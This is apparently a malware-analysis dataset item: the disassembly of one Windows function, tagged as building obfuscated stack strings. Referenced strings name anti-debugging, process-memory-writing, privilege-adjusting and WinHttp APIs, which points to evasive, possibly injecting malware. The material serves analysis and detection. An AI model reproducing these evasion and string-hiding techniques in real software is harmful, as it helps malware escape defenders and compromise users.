Function at 0x140004cec
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r15
push rbp
lea rbp, [rax - 0x998]
sub rsp, 0xa90
mov rax, qword [0x14009e1c8]
xor rax, rsp
mov qword [rbp + 0x980], rax
movdqa xmm0, xmmword [0x14008b000]
xor edi, edi
movdqa xmm1, xmmword [0x14008b040]
xor eax, eax
movdqu xmmword [rbp + 0x7a0], xmm0
or rsi, 0xffffffffffffffff
mov qword [rbp + 0x18], rax
movdqa xmm0, xmmword [0x14008b020]
lea r15d, [rdi + 0xf]
mov qword [rbp + 0x20], rax
mov r8, rsi
mov qword [rbp + 0x28], rax
lea rax, [rbp + 0x7a0]
mov qword [rbp - 0x28], r15
movdqu xmmword [rbp + 0x7b0], xmm1
mov byte [rbp + 0x7d0], dil
movdqu xmmword [rbp + 0x7c0], xmm0
mov dword [rbp + 0x250], 0x73786761
mov dword [rbp + 0x254], 0x48737a59
mov dword [rbp + 0x258], 0x3d397077
mov byte [rbp + 0x25c], dil
mov qword [rbp - 0x30], rdi
mov byte [rbp - 0x40], dil
inc r8
cmp byte [rax + r8], dil
jne 0x140004da9
lea rdx, [rbp + 0x7a0]
lea rcx, [rbp - 0x40]
call fcn.140006b0c
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x18]
call fcn.140003864
xor r8d, r8d
lea rcx, [rbp - 0x40]
mov dl, 1
call fcn.140006994
mov dl, 0xb7
lea rcx, [rbp + 0x18]
call fcn.140003a88
mov r8, qword [rbp + 0x20]
lea rcx, [rbp - 0x60]
mov rdx, qword [rbp + 0x18]
mov ebx, 7
sub r8, rdx
mov qword [rbp - 0x48], rbx
shr r8, 1
mov qword [rbp - 0x50], rdi
mov word [rbp - 0x60], di
call fcn.140006874
xor eax, eax
mov qword [rbp - 0x28], r15
mov qword [rbp], rax
mov qword [rbp + 8], rax
mov qword [rbp + 0x10], rax
mov qword [rbp - 0x30], rdi
mov byte [rbp - 0x40], dil
cmp byte [rbp + 0x250], dil
jne 0x140004e38
mov r8, rdi
jmp 0x140004e4b
lea rax, [rbp + 0x250]
mov r8, rsi
inc r8
cmp byte [rax + r8], dil
jne 0x140004e42
lea rdx, [rbp + 0x250]
lea rcx, [rbp - 0x40]
call fcn.140006b0c
lea rdx, [rbp - 0x40]
lea rcx, [rbp]
call fcn.140003864
xor r8d, r8d
lea rcx, [rbp - 0x40]
mov dl, 1
call fcn.140006994
mov dl, 0xb7
lea rcx, [rbp]
call fcn.140003a88
mov r8, qword [rbp + 8]
lea rcx, [rbp - 0x80]
mov rdx, qword [rbp]
sub r8, rdx
mov qword [rbp - 0x68], rbx
shr r8, 1
mov qword [rbp - 0x70], rdi
mov word [rbp - 0x80], di
call fcn.140006874
call fcn.140003598
call fcn.1400020d8
test al, al
jne 0x1400061da
call fcn.140003598
call fcn.1400022d4
test al, al
je 0x1400061da
call fcn.140003598
call fcn.14000275c
test al, al
jne 0x1400061da
call fcn.1400024ac
test al, al
jne 0x1400061da
call fcn.140002e00
test al, al
jne 0x1400061da
call fcn.140003598
call fcn.1400023b4
test al, al
jne 0x1400061da
call fcn.140003598
call fcn.140003060
test al, al
jne 0x1400061da
call fcn.140003598
lea rax, [rbp + 0x248]
mov dword [rbp + 0x248], 0x6e6f7565
mov r8, rsi
mov byte [rbp + 0x24c], dil
mov qword [rbp - 0x28], r15
mov qword [rbp - 0x30], rdi
mov byte [rbp - 0x40], dil
inc r8
cmp byte [rax + r8], dil
jne 0x140004f44
lea rdx, [rbp + 0x248]
lea rcx, [rbp - 0x40]
call fcn.140006b0c
lea rcx, [rbp - 0x40]
call fcn.140003648
xor r8d, r8d
lea rcx, [rbp - 0x40]
mov dl, 1
mov bl, al
call fcn.140006994
test bl, bl
je 0x1400061b2
xor eax, eax
lea rcx, [rbp - 0x18]
mov qword [rbp - 0x18], rax
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rax
call fcn.140003af0
mov rdx, qword [rbp - 0x10]
sub rdx, qword [rbp - 0x18]
mov qword [rbp - 0x28], r15
mov qword [rbp - 0x30], rdi
mov byte [rbp - 0x40], dil
cmp rdx, r15
je 0x140004fd3
mov r8b, 1
lea rcx, [rbp - 0x40]
call fcn.140007348
test al, al
je 0x140004fd3
cmp qword [rbp - 0x28], 0x10
lea rax, [rbp - 0x40]
mov qword [rbp - 0x30], rdi
cmovae rax, qword [rbp - 0x40]
mov byte [rax], dil
mov r8, qword [rbp - 0x10]
lea rcx, [rbp - 0x40]
mov rdx, qword [rbp - 0x18]
call fcn.140008864
call fcn.140003598
lea rcx, [rsp + 0x78]
mov dword [rsp + 0x78], 0x363831
call fcn.140059450
mov ebx, eax
call fcn.140003598
xor eax, eax
lea rdx, [rbp - 0x40]
mov r8b, bl
mov qword [rbp + 0x30], rax
lea rcx, [rbp + 0x30]
mov qword [rbp + 0x38], rax
mov qword [rbp + 0x40], rax
call fcn.140003ab0
call fcn.140003598
call fcn.140003cf8
mov dword [rsp + 0x60], eax
call fcn.140003e24
call fcn.140003598
mov rcx, qword [rbp + 0x30]
lea r9, [rsp + 0x70]
xor eax, eax
mov qword [rsp + 0x68], rcx
mov qword [rbp - 0x20], rax
lea r8, [rsp + 0x68]
mov rax, qword [rbp + 0x38]
lea rdx, [rsp + 0x60]
sub rax, rcx
lea rcx, [rbp - 0x20]
mov qword [rsp + 0x70], rax
call fcn.140007ec4
mov rbx, qword [rbp - 0x20]
mov rcx, rbx
call fcn.14000906c
movdqa xmm0, xmmword [0x14008ae20]
movdqa xmm1, xmmword [0x14008aec0]
movdqa xmmword [rbp + 0x7e0], xmm0
movdqa xmm0, xmmword [0x14008af90]
movdqa xmmword [rbp + 0x800], xmm0
movdqa xmm0, xmmword [0x14008afa0]
movdqa xmmword [rbp + 0x7f0], xmm1
movdqa xmm1, xmmword [0x14008aed0]
movdqa xmmword [rbp + 0x820], xmm0
movdqa xmm0, xmmword [0x14008afb0]
movdqa xmmword [rbp + 0x810], xmm1
movdqa xmm1, xmmword [0x14008ae10]
movdqa xmmword [rbp + 0x840], xmm0
movdqa xmm0, xmmword [str.6esrg4B8zosFg386esrg4B8zosOg388esIg3P86esUg4186YsLg4d8zYsog4187osDg0z86esog41882sQg3B8k2sRg97812sPg3r86esrg4B86YsLg4d8zYsRg3F86YsLg4d8zYsng3F812sng3F8josHg3J84YrAgh812sag3J872sFg4n8merRg9J86osFg4n8merRg9J812sAg4h88esIg3P812sog4186osHg3X8zYrLg9n8terUg3X8kYsRg0d86YsMg0d83osrg4h85esRgh86YsLg4d8zYsAg4h86esUg418zosGg4h8merRg9J8zosGg4h8uerSg9r8zosGg4h8kosog0z852sog4h812sRg3F872sFg4n812sog4186osFg4n87YsDg3J86esng0r86YsLg4d8zYsPg3r8josHg3J8uerSg9r8k2sJg41852rMg4v882sLg4z85Yspg4v8mesPg4z86YsRg0z86osHg3X8kosog0z8GetComputerNameAqrstuvwxyzABCDEFAssignProcessToJiZ591H8zO3Fq5SYNGetLogicalDriveSguz0YV8Jsv12eJUGHIJKLMNOPQRSTUVevWLCYgVDQmwA5mYGetVolumeInformaWinHttpCloseHandWinHttpReceiveReQueryPerformanceRtlAdjustPrivileWinHttpSendRequeWinHttpOpenRequeCheckRemoteDebugGetModuleFileNamSetInformationJoWriteProcessMemoabcdefghijklmnopGlobalMemoryStat]
movdqa xmmword [rbp + 0x830], xmm1
movdqa xmm1, xmmword [0x14008af70]
movdqa xmmword [rbp + 0x860], xmm0
movdqa xmm0, xmmword [0x14008ae70]
movdqa xmmword [rbp + 0x850], xmm1
movdqa xmm1, xmmword [0x14008af60]
movdqa xmmword [rbp + 0x260], xmm0
movdqa xmm0, xmmword [0x14008aee0]
movdqa xmmword [rbp + 0x270], xmm1
movdqa xmm1, xmmword [0x14008ae30]
movdqa xmmword [rbp + 0x280], xmm0
movdqa xmm0, xmmword [0x14008ae20]
movdqa xmmword [rbp + 0x290], xmm1
movdqa xmm1, xmmword [0x14008aec0]
movdqa xmmword [rbp + 0x700], xmm0
movdqa xmm0, xmmword [0x14008af90]
movdqa xmmword [rbp + 0x710], xmm1
movdqa xmm1, xmmword [0x14008aed0]
movdqa xmmword [rbp + 0x720], xmm0
movdqa xmm0, xmmword [0x14008afa0]
movdqa xmmword [rbp + 0x730], xmm1
movdqa xmm1, xmmword [0x14008ae10]
movdqa xmmword [rbp + 0x740], xmm0
mov dword [rbp + 0x870], 0x3d706535
mov byte [rbp + 0x874], dil
mov dword [rbp + 0x2a0], 0x46736f7a
mov dword [rbp + 0x2a4], 0x382b3367
mov dword [rbp + 0x2a8], 0x3d706535
mov byte [rbp + 0x2ac], dil
movdqa xmm0, xmmword [0x14008afb0]
movdqa xmmword [rbp + 0x760], xmm0
movdqa xmm0, xmmword [0x14008afc0]
movdqa xmmword [rbp + 0x780], xmm0
movdqa xmm0, xmmword [0x14008ae70]
movdqa xmmword [rbp + 0x920], xmm0
movdqa xmm0, xmmword [0x14008aee0]
movdqa xmmword [rbp + 0x750], xmm1
movdqa xmm1, xmmword [0x14008ae00]
movdqa xmmword [rbp + 0x940], xmm0
movdqa xmm0, xmmword [0x14008af30]
movdqa xmmword [rbp + 0x770], xmm1
movdqa xmm1, xmmword [0x14008af60]
movdqa xmmword [rbp + 0x960], xmm0
movdqa xmm0, xmmword [0x14008aec0]
movdqa xmmword [rbp + 0x930], xmm1
movdqa xmm1, xmmword [0x14008aeb0]
movdqa xmmword [rbp + 0x3b0], xmm0
movdqa xmm0, xmmword [0x14008aed0]
movdqa xmmword [rbp + 0x950], xmm1
movdqa xmm1, xmmword [0x14008ae20]
movdqa xmmword [rbp + 0x3d0], xmm0
movdqa xmm0, xmmword [0x14008ae10]
movdqa xmmword [rbp + 0x3a0], xmm1
movdqa xmm1, xmmword [0x14008af90]
movdqa xmmword [rbp + 0x3f0], xmm0
movdqa xmm0, xmmword [0x14008ae00]
movdqa xmmword [rbp + 0x3c0], xmm1
movdqa xmm1, xmmword [0x14008afa0]
movdqa xmmword [rbp + 0x410], xmm0
movdqa xmm0, xmmword [0x14008ae70]
movdqa xmmword [rbp + 0x3e0], xmm1
movdqa xmm1, xmmword [0x14008afb0]
movdqa xmmword [rbp + 0x6a0], xmm0
movdqa xmm0, xmmword [0x14008aee0]
movdqa xmmword [rbp + 0x400], xmm1
movdqa xmm1, xmmword [0x14008ae90]
movdqa xmmword [rbp + 0x6c0], xmm0
movdqa xmm0, xmmword [0x14008af10]
movdqa xmmword [rbp + 0x420], xmm1
movdqa xmm1, xmmword [0x14008af60]
movdqa xmmword [rbp + 0x6e0], xmm0
movdqa xmm0, xmmword [0x14008ae20]
movdqa xmmword [rbp + 0x6b0], xmm1
movdqa xmm1, xmmword [0x14008af50]
movdqa xmmword [rbp + 0x440], xmm0
movdqa xmm0, xmmword [0x14008af90]
movdqa xmmword [rbp + 0x6d0], xmm1
movdqa xmm1, xmmword [0x14008aec0]
movdqa xmmword [rbp + 0x460], xmm0
movdqa xmm0, xmmword [0x14008afa0]
movdqa xmmword [rbp + 0x450], xmm1
movdqa xmm1, xmmword [0x14008aed0]
movdqa xmmword [rbp + 0x480], xmm0
movdqa xmm0, xmmword [0x14008afb0]
movdqa xmmword [rbp + 0x470], xmm1
movdqa xmm1, xmmword [0x14008ae10]
movdqa xmmword [rbp + 0x4a0], xmm0
movdqa xmm0, xmmword [0x14008af80]
movdqa xmmword [rbp + 0x490], xmm1
movdqa xmm1, xmmword [0x14008ae50]
movdqa xmmword [rbp + 0x4c0], xmm0
movdqa xmm0, xmmword [0x14008ae70]
movdqa xmmword [rbp + 0x4b0], xmm1
movdqa xmm1, xmmword [0x14008af60]
movdqa xmmword [rbp + 0x580], xmm0
mov dword [rbp + 0x790], 0x6f733235
mov dword [rbp + 0x794], 0x38683467
mov byte [rbp + 0x798], dil
mov byte [rbp + 0x970], dil
mov dword [rbp + 0x430], 0x47736f7a
mov dword [rbp + 0x434], 0x38683467
mov dword [rbp + 0x438], 0x3d703237
mov byte [rbp + 0x43c], dil
mov dword [rbp + 0x6f0], 0x3d703237
mov byte [rbp + 0x6f4], dil
mov dword [rbp + 0x4d0], 0x47736f7a
mov dword [rbp + 0x4d4], 0x38683467
mov dword [rbp + 0x4d8], 0x3d703237
mov byte [rbp + 0x4dc], dil
movdqa xmmword [rbp + 0x590], xmm1
movdqa xmm0, xmmword [0x14008aee0]
movdqa xmm1, xmmword [0x14008ae60]
movdqa xmmword [rbp + 0x5a0], xmm0
movdqa xmm0, xmmword [0x14008af20]
movdqa xmmword [rbp + 0x5c0], xmm0
movdqa xmm0, xmmword [0x14008ae20]
movdqa xmmword [rbp + 0x4e0], xmm0
movdqa xmm0, xmmword [0x14008af90]
movdqa xmmword [rbp + 0x500], xmm0
movdqa xmm0, xmmword [0x14008afa0]
movdqa xmmword [rbp + 0x520], xmm0
movdqa xmm0, xmmword [0x14008afb0]
movdqa xmmword [rbp + 0x540], xmm0
movdqa xmm0, xmmword [0x14008ae80]
movdqa xmmword [rbp + 0x5b0], xmm1
movdqa xmm1, xmmword [0x14008aec0]
movdqa xmmword [rbp + 0x560], xmm0
movdqa xmm0, xmmword [0x14008ae70]
movdqa xmmword [rbp + 0x4f0], xmm1
movdqa xmm1, xmmword [0x14008aed0]
movdqa xmmword [rbp + 0x5e0], xmm0
movdqa xmm0, xmmword [0x14008aee0]
movdqa xmmword [rbp + 0x510], xmm1
movdqa xmm1, xmmword [0x14008ae10]
movdqa xmmword [rbp + 0x600], xmm0
movdqa xmm0, xmmword [0x14008af10]
movdqa xmmword [rbp + 0x530], xmm1
movdqa xmm1, xmmword [0x14008ae40]
movdqa xmmword [rbp + 0x620], xmm0
movdqa xmm0, xmmword [0x14008ae20]
movdqa xmmword [rbp + 0x550], xmm1
movdqa xmm1, xmmword [0x14008af60]
movdqa xmmword [rbp + 0x300], xmm0
movdqa xmm0, xmmword [0x14008af90]
movdqa xmmword [rbp + 0x5f0], xmm1
movdqa xmm1, xmmword [0x14008af40]
movdqa xmmword [rbp + 0x320], xmm0
movdqa xmm0, xmmword [0x14008afa0]
movdqa xmmword [rbp + 0x610], xmm1
movdqa xmm1, xmmword [0x14008aec0]
movdqa xmmword [rbp + 0x340], xmm0
movdqa xmm0, xmmword [0x14008afb0]
movdqa xmmword [rbp + 0x310], xmm1
movdqa xmm1, xmmword [0x14008aed0]
movdqa xmmword [rbp + 0x360], xmm0
movdqa xmm0, xmmword [0x14008adf0]
movdqa xmmword [rbp + 0x330], xmm1
movdqa xmm1, xmmword [0x14008ae10]
movdqa xmmword [rbp + 0x380], xmm0
movdqa xmm0, xmmword [0x14008ae70]
movdqa xmmword [rbp + 0x350], xmm1
movdqa xmm1, xmmword [0x14008aef0]
movdqa xmmword [rbp + 0x640], xmm0
movdqa xmm0, xmmword [0x14008aee0]
movdqa xmmword [rbp + 0x370], xmm1
movdqa xmm1, xmmword [0x14008af60]
movdqa xmmword [rbp + 0x660], xmm0
movdqa xmm0, xmmword [0x14008af00]
movdqa xmmword [rbp + 0x650], xmm1
movdqa xmm1, xmmword [0x14008aea0]
movdqa xmmword [rbp + 0x680], xmm0
movdqa xmm0, xmmword [0x14008ae20]
movdqa xmmword [rbp + 0x670], xmm1
movdqa xmm1, xmmword [0x14008aec0]
movdqa xmmword [rbp + 0x880], xmm0
movdqa xmm0, xmmword [0x14008af90]
mov dword [rbp + 0x5d0], 0x3d703237
mov byte [rbp + 0x5d4], dil
mov dword [rbp + 0x570], 0x47736f7a
mov dword [rbp + 0x574], 0x38683467
mov dword [rbp + 0x578], 0x3d703237
mov byte [rbp + 0x57c], dil
mov dword [rbp + 0x630], 0x3d703237
mov byte [rbp + 0x634], dil
mov dword [rbp + 0x390], 0x47736f7a
mov dword [rbp + 0x394], 0x38683467
mov dword [rbp + 0x398], 0x3d703237
mov byte [rbp + 0x39c], dil
mov dword [rbp + 0x690], 0x3d703237
mov byte [rbp + 0x694], dil
movdqa xmmword [rbp + 0x890], xmm1
movdqa xmm1, xmmword [0x14008aed0]
movdqa xmmword [rbp + 0x8a0], xmm0
movdqa xmm0, xmmword [0x14008afa0]
movdqa xmmword [rbp + 0x8c0], xmm0
movdqa xmm0, xmmword [0x14008afb0]
movdqa xmmword [rbp + 0x8b0], xmm1
movdqa xmm1, xmmword [0x14008ae10]
movdqa xmmword [rbp + 0x8e0], xmm0
movdqa xmm0, xmmword [0x14008ade0]
movdqa xmmword [rbp + 0x8d0], xmm1
movdqa xmm1, xmmword [0x14008af70]
movdqa xmmword [rbp + 0x900], xmm0
movdqa xmm0, xmmword [0x14008ae70]
movdqa xmmword [rbp + 0x8f0], xmm1
movdqa xmm1, xmmword [0x14008af60]
movdqa xmmword [rbp + 0x2b0], xmm0
movdqa xmm0, xmmword [0x14008aee0]
movdqa xmmword [rbp + 0x2c0], xmm1
movdqa xmm1, xmmword [0x14008ae30]
movdqa xmmword [rbp + 0x2d0], xmm0
mov dword [rbp + 0x910], 0x3d705935
mov byte [rbp + 0x914], dil
movdqa xmmword [rbp + 0x2e0], xmm1
mov dword [rbp + 0x2f0], 0x4f736f7a
mov dword [rbp + 0x2f4], 0x382b3367
mov dword [rbp + 0x2f8], 0x3d705935
mov byte [rbp + 0x2fc], dil
call fcn.140003598
xor r8d, r8d
mov qword [rsp + 0x30], rdi
xor edx, edx
mov qword [rsp + 0x38], rdi
lea rcx, [rsp + 0x20]
call fcn.140006994
cmp byte [rbp + 0x7e0], dil
jne 0x140005809
mov r8, rdi
jmp 0x14000581c
lea rax, [rbp + 0x7e0]
mov r8, rsi
inc r8
cmp byte [rax + r8], dil
jne 0x140005813
lea rdx, [rbp + 0x7e0]
lea rcx, [rsp + 0x20]
call fcn.140006b0c
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x48]
call fcn.140003ef8
xor r8d, r8d
lea rcx, [rsp + 0x20]
mov dl, 1
call fcn.140006994
xor r8d, r8d
mov qword [rsp + 0x30], rdi
xor edx, edx
mov qword [rsp + 0x38], rdi
lea rcx, [rsp + 0x20]
call fcn.140006994
cmp byte [rbp + 0x260], dil
jne 0x140005871
mov r8, rdi
jmp 0x140005884
lea rax, [rbp + 0x260]
mov r8, rsi
inc r8
cmp byte [rax + r8], dil
jne 0x14000587b
lea rdx, [rbp + 0x260]
lea rcx, [rsp + 0x20]
call fcn.140006b0c
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x40]
call fcn.140003ef8
mov rdx, rax
lea rcx, [rbp + 0x1e8]
call fcn.140004444
xor r8d, r8d
lea rcx, [rsp + 0x40]
mov dl, 1
call fcn.1400067f8
xor r8d, r8d
lea rcx, [rsp + 0x20]
mov dl, 1
call fcn.140006994
xor r8d, r8d
mov qword [rsp + 0x30], rdi
xor edx, edx
mov qword [rsp + 0x38], rdi
lea rcx, [rsp + 0x20]
call fcn.140006994
cmp byte [rbp + 0x700], dil
jne 0x1400058f8
mov r8, rdi
jmp 0x14000590b
lea rax, [rbp + 0x700]
mov r8, rsi
inc r8
cmp byte [rax + r8], dil
jne 0x140005902
lea rdx, [rbp + 0x700]
lea rcx, [rsp + 0x20]
call fcn.140006b0c
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x1c8]
call fcn.140003ef8
xor r8d, r8d
lea rcx, [rsp + 0x20]
mov dl, 1
call fcn.140006994
xor r8d, r8d
mov qword [rsp + 0x30], rdi
xor edx, edx
mov qword [rsp + 0x38], rdi
lea rcx, [rsp + 0x20]
call fcn.140006994
cmp byte [rbp + 0x920], dil
jne 0x140005963
mov r8, rdi
jmp 0x140005976
lea rax, [rbp + 0x920]
mov r8, rsi
inc r8
cmp byte [rax + r8], dil
jne 0x14000596d
lea rdx, [rbp + 0x920]
lea rcx, [rsp + 0x20]
call fcn.140006b0c
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x40]
call fcn.140003ef8
mov rdx, rax
lea rcx, [rbp + 0x1a8]
call fcn.140004444
xor r8d, r8d
lea rcx, [rsp + 0x40]
mov dl, 1
call fcn.1400067f8
xor r8d, r8d
lea rcx, [rsp + 0x20]
mov dl, 1
call fcn.140006994
xor r8d, r8d
mov qword [rsp + 0x30], rdi
xor edx, edx
mov qword [rsp + 0x38], rdi
lea rcx, [rsp + 0x20]
call fcn.140006994
cmp byte [rbp + 0x3a0], dil
jne 0x1400059ea
mov r8, rdi
jmp 0x1400059fd
lea rax, [rbp + 0x3a0]
mov r8, rsi
inc r8
cmp byte [rax + r8], dil
jne 0x1400059f4
lea rdx, [rbp + 0x3a0]
lea rcx, [rsp + 0x20]
call fcn.140006b0c
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x188]
call fcn.140003ef8
xor r8d, r8d
lea rcx, [rsp + 0x20]
mov dl, 1
call fcn.140006994
xor r8d, r8d
mov qword [rsp + 0x30], rdi
xor edx, edx
mov qword [rsp + 0x38], rdi
lea rcx, [rsp + 0x20]
call fcn.140006994
cmp byte [rbp + 0x6a0], dil
jne 0x140005a55
mov r8, rdi
jmp 0x140005a68
lea rax, [rbp + 0x6a0]
mov r8, rsi
inc r8
cmp byte [rax + r8], dil
jne 0x140005a5f
lea rdx, [rbp + 0x6a0]
lea rcx, [rsp + 0x20]
call fcn.140006b0c
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x40]
call fcn.140003ef8
mov rdx, rax
lea rcx, [rbp + 0x168]
call fcn.140004444
xor r8d, r8d
lea rcx, [rsp + 0x40]
mov dl, 1
call fcn.1400067f8
xor r8d, r8d
lea rcx, [rsp + 0x20]
mov dl, 1
call fcn.140006994
xor r8d, r8d
mov qword [rsp + 0x30], rdi
xor edx, edx
mov qword [rsp + 0x38], rdi
lea rcx, [rsp + 0x20]
call fcn.140006994
cmp byte [rbp + 0x440], dil
jne 0x140005adc
mov r8, rdi
jmp 0x140005aef
lea rax, [rbp + 0x440]
mov r8, rsi
inc r8
cmp byte [rax + r8], dil
jne 0x140005ae6
lea rdx, [rbp + 0x440]
lea rcx, [rsp + 0x20]
call fcn.140006b0c
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x148]
call fcn.140003ef8
xor r8d, r8d
lea rcx, [rsp + 0x20]
mov dl, 1
call fcn.140006994
xor r8d, r8d
mov qword [rsp + 0x30], rdi
xor edx, edx
mov qword [rsp + 0x38], rdi
lea rcx, [rsp + 0x20]
call fcn.140006994
cmp byte [rbp + 0x580], dil
jne 0x140005b47
mov r8, rdi
jmp 0x140005b5a
lea rax, [rbp + 0x580]
mov r8, rsi
inc r8
cmp byte [rax + r8], dil
jne 0x140005b51
lea rdx, [rbp + 0x580]
lea rcx, [rsp + 0x20]
call fcn.140006b0c
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x40]
call fcn.140003ef8
mov rdx, rax
lea rcx, [rbp + 0x128]
call fcn.140004444
xor r8d, r8d
lea rcx, [rsp + 0x40]
mov dl, 1
call fcn.1400067f8
xor r8d, r8d
lea rcx, [rsp + 0x20]
mov dl, 1
call fcn.140006994
xor r8d, r8d
mov qword [rsp + 0x30], rdi
xor edx, edx
mov qword [rsp + 0x38], rdi
lea rcx, [rsp + 0x20]
call fcn.140006994
cmp byte [rbp + 0x4e0], dil
jne 0x140005bce
mov r8, rdi
jmp 0x140005be1
lea rax, [rbp + 0x4e0]
mov r8, rsi
inc r8
cmp byte [rax + r8], dil
jne 0x140005bd8
lea rdx, [rbp + 0x4e0]
lea rcx, [rsp + 0x20]
call fcn.140006b0c
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x108]
call fcn.140003ef8
xor r8d, r8d
lea rcx, [rsp + 0x20]
mov dl, 1
call fcn.140006994
xor r8d, r8d
mov qword [rsp + 0x30], rdi
xor edx, edx
mov qword [rsp + 0x38], rdi
lea rcx, [rsp + 0x20]
call fcn.140006994
cmp byte [rbp + 0x5e0], dil
jne 0x140005c39
mov r8, rdi
jmp 0x140005c4c
lea rax, [rbp + 0x5e0]
mov r8, rsi
inc r8
cmp byte [rax + r8], dil
jne 0x140005c43
lea rdx, [rbp + 0x5e0]
lea rcx, [rsp + 0x20]
call fcn.140006b0c
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x40]
call fcn.140003ef8
mov rdx, rax
lea rcx, [rbp + 0xe8]
call fcn.140004444
xor r8d, r8d
lea rcx, [rsp + 0x40]
mov dl, 1
call fcn.1400067f8
xor r8d, r8d
lea rcx, [rsp + 0x20]
mov dl, 1
call fcn.140006994
xor r8d, r8d
mov qword [rsp + 0x30], rdi
xor edx, edx
mov qword [rsp + 0x38], rdi
lea rcx, [rsp + 0x20]
call fcn.140006994
cmp byte [rbp + 0x300], dil
jne 0x140005cc0
mov r8, rdi
jmp 0x140005cd3
lea rax, [rbp + 0x300]
mov r8, rsi
inc r8
cmp byte [rax + r8], dil
jne 0x140005cca
lea rdx, [rbp + 0x300]
lea rcx, [rsp + 0x20]
call fcn.140006b0c
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0xc8]
call fcn.140003ef8
xor r8d, r8d
lea rcx, [rsp + 0x20]
mov dl, 1
call fcn.140006994
xor r8d, r8d
mov qword [rsp + 0x30], rdi
xor edx, edx
mov qword [rsp + 0x38], rdi
lea rcx, [rsp + 0x20]
call fcn.140006994
cmp byte [rbp + 0x640], dil
jne 0x140005d2b
mov r8, rdi
jmp 0x140005d3e
lea rax, [rbp + 0x640]
mov r8, rsi
inc r8
cmp byte [rax + r8], dil
jne 0x140005d35
lea rdx, [rbp + 0x640]
lea rcx, [rsp + 0x20]
call fcn.140006b0c
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x40]
call fcn.140003ef8
mov rdx, rax
lea rcx, [rbp + 0xa8]
call fcn.140004444
xor r8d, r8d
lea rcx, [rsp + 0x40]
mov dl, 1
call fcn.1400067f8
xor r8d, r8d
lea rcx, [rsp + 0x20]
mov dl, 1
call fcn.140006994
xor r8d, r8d
mov qword [rsp + 0x30], rdi
xor edx, edx
mov qword [rsp + 0x38], rdi
lea rcx, [rsp + 0x20]
call fcn.140006994
cmp byte [rbp + 0x880], dil
jne 0x140005db2
mov r8, rdi
jmp 0x140005dc5
lea rax, [rbp + 0x880]
mov r8, rsi
inc r8
cmp byte [rax + r8], dil
jne 0x140005dbc
lea rdx, [rbp + 0x880]
lea rcx, [rsp + 0x20]
call fcn.140006b0c
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x88]
call fcn.140003ef8
xor r8d, r8d
lea rcx, [rsp + 0x20]
mov dl, 1
call fcn.140006994
xor r8d, r8d
mov qword [rsp + 0x30], rdi
xor edx, edx
mov qword [rsp + 0x38], rdi
lea rcx, [rsp + 0x20]
call fcn.140006994
cmp byte [rbp + 0x2b0], dil
jne 0x140005e1d
mov rsi, rdi
jmp 0x140005e2d
lea rax, [rbp + 0x2b0]
inc rsi
cmp byte [rax + rsi], dil
jne 0x140005e24
mov r8, rsi
lea rdx, [rbp + 0x2b0]
lea rcx, [rsp + 0x20]
call fcn.140006b0c
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x40]
call fcn.140003ef8
mov rdx, rax
lea rcx, [rbp + 0x68]
call fcn.140004444
xor r8d, r8d
lea rcx, [rsp + 0x40]
mov dl, 1
call fcn.1400067f8
xor r8d, r8d
lea rcx, [rsp + 0x20]
mov dl, 1
call fcn.140006994
call fcn.140003598
cmp qword [rbp + 0x1c0], 0x10
lea rdx, [rbp + 0x1a8]
lea rcx, [rbp + 0x1c8]
cmovae rdx, qword [rbp + 0x1a8]
cmp qword [rbp + 0x1e0], 8
cmovae rcx, qword [rbp + 0x1c8]
call fcn.140003fa4
cmp qword [rbp + 0x180], 0x10
lea rdx, [rbp + 0x168]
lea rcx, [rbp + 0x188]
cmovae rdx, qword [rbp + 0x168]
cmp qword [rbp + 0x1a0], 8
cmovae rcx, qword [rbp + 0x188]
call fcn.140003fa4
cmp qword [rbp + 0x140], 0x10
lea rdx, [rbp + 0x128]
lea rcx, [rbp + 0x148]
cmovae rdx, qword [rbp + 0x128]
cmp qword [rbp + 0x160], 8
cmovae rcx, qword [rbp + 0x148]
call fcn.140003fa4
cmp qword [rbp + 0x100], 0x10
lea rdx, [rbp + 0xe8]
lea rcx, [rbp + 0x108]
cmovae rdx, qword [rbp + 0xe8]
cmp qword [rbp + 0x120], 8
cmovae rcx, qword [rbp + 0x108]
call fcn.140003fa4
cmp qword [rbp + 0xc0], 0x10
lea rdx, [rbp + 0xa8]
lea rcx, [rbp + 0xc8]
cmovae rdx, qword [rbp + 0xa8]
cmp qword [rbp + 0xe0], 8
cmovae rcx, qword [rbp + 0xc8]
call fcn.140003fa4
cmp qword [rbp + 0x80], 0x10
lea rdx, [rbp + 0x68]
lea rcx, [rbp + 0x88]
cmovae rdx, qword [rbp + 0x68]
cmp qword [rbp + 0xa0], 8
cmovae rcx, qword [rbp + 0x88]
call fcn.140003fa4
cmp qword [rbp + 0x200], 0x10
lea rdx, [rbp + 0x1e8]
lea rcx, [rsp + 0x40]
cmovae rdx, qword [rbp + 0x1e8]
call fcn.140006668
cmp qword [rbp + 0x60], 8
lea rdx, [rbp + 0x48]
lea rcx, [rsp + 0x20]
cmovae rdx, qword [rbp + 0x48]
call fcn.14000655c
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x20]
call fcn.140004404
xor r8d, r8d
lea rcx, [rsp + 0x20]
mov dl, 1
call fcn.1400067f8
xor r8d, r8d
lea rcx, [rsp + 0x40]
mov dl, 1
call fcn.140006994
call fcn.1400045c4
call fcn.140003598
lea rcx, [rbp + 0x228]
call fcn.1400047b0
call fcn.140003598
lea rcx, [rbp + 0x208]
call fcn.1400048bc
call fcn.140003598
